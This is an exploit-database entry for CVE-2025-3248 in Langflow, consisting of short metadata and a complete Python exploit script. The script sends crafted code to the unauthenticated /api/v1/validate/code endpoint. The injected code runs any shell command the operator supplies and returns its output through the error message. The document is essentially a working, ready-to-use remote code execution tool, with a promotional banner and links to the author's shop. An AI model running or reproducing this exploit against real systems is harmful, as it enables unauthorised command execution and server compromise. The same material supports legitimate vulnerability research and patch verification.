Langflow 1.3.0 - Remote Code Execution (RCE)

Author: VeryLazyTech
type: remote
platform: multiple
port: 
date_added: 2025-04-18  
date_updated: 2025-04-18  
verified: 0  
codes: CVE-2025-3248  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52262.txt  
# Exploit Title: Langflow 1.3.0 -  Remote Code Execution (RCE)
# Date: 2025-04-17
# Exploit Author: VeryLazyTech
# Vendor Homepage: http://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: Langflow < 1.3.0
# Tested on: Windows Server 2019
# CVE: CVE-2025-3248
# CVE-2025-3248 - Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code
# FOFA "Langflow"
# Medium: https://medium.com/@verylazytech
# GitHub: https://github.com/verylazytech
# Shop: https://shop.verylazytech.com
# Website: https://www.verylazytech.com

import argparse
import requests
import json
from urllib.parse import urljoin
import random
from colorama import init, Fore, Style

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

# Initialize colorama
init(autoreset=True)

# Constants
ENDC = "\033[0m"
ENCODING = "UTF-8"
COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]

def banner():
    random_color = random.choice(COLORS)
    return f"""{Style.BRIGHT}{random_color}
  ______     _______   ____   ___ ____  ____    _________  _  _    ___
 / ___\ \   / / ____| |___ \ / _ \___ \| ___|  |___ /___ \| || |  ( _ )
| |    \ \ / /|  _|     __) | | | |__) |___ \    |_ \ __) | || |_ / _ \
| |___  \ V / | |___   / __/| |_| / __/ ___) |  ___) / __/|__   _| (_) |
 \____|  \_/  |_____| |_____|\___/_____|____/  |____/_____|  |_|  \___/


__     __                _                      _____         _
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/

                    {Style.BRIGHT}{Fore.WHITE}@VeryLazyTech - Medium {Style.RESET_ALL}\n
{Style.RESET_ALL}
"""

print(banner())

class LangflowScanner:
    def __init__(self, url, timeout=10):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })

    def exploit(self, command):
        endpoint = urljoin(self.url, '/api/v1/validate/code')
        payload = {
            "code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
        }

        try:
            print(f"{Fore.YELLOW}[*] Sending payload to {endpoint}")
            response = self.session.post(endpoint, json=payload, timeout=self.timeout)
            print(f"{Fore.YELLOW}[*] Status Code: {response.status_code}")
            print(f"{Fore.YELLOW}[*] Raw Response: {response.text}")

            if response.status_code == 200:
                try:
                    data = response.json()
                    error_msg = data.get("function", {}).get("errors", [""])[0]
                    if isinstance(error_msg, str) and error_msg.startswith("b'"):
                        output = error_msg[2:-1].encode().decode('unicode_escape').strip()
                        return output
                except Exception as e:
                    return f"[!] Failed to parse response: {str(e)}"
            return f"[!] Exploit failed with status {response.status_code}"
        except requests.RequestException as e:
            return f"[!] Request failed: {str(e)}"

def main():
    parser = argparse.ArgumentParser(description="Langflow CVE-2025-3248 Exploit")
    parser.add_argument("url", help="Target base URL (e.g., http://host:port)")
    parser.add_argument("cmd", help="Command to execute (e.g., whoami)")
    args = parser.parse_args()

    scanner = LangflowScanner(args.url)
    result = scanner.exploit(args.cmd)
    print(f"{Fore.GREEN}[+] Command Output:\n{result}")

if __name__ == "__main__":
    main()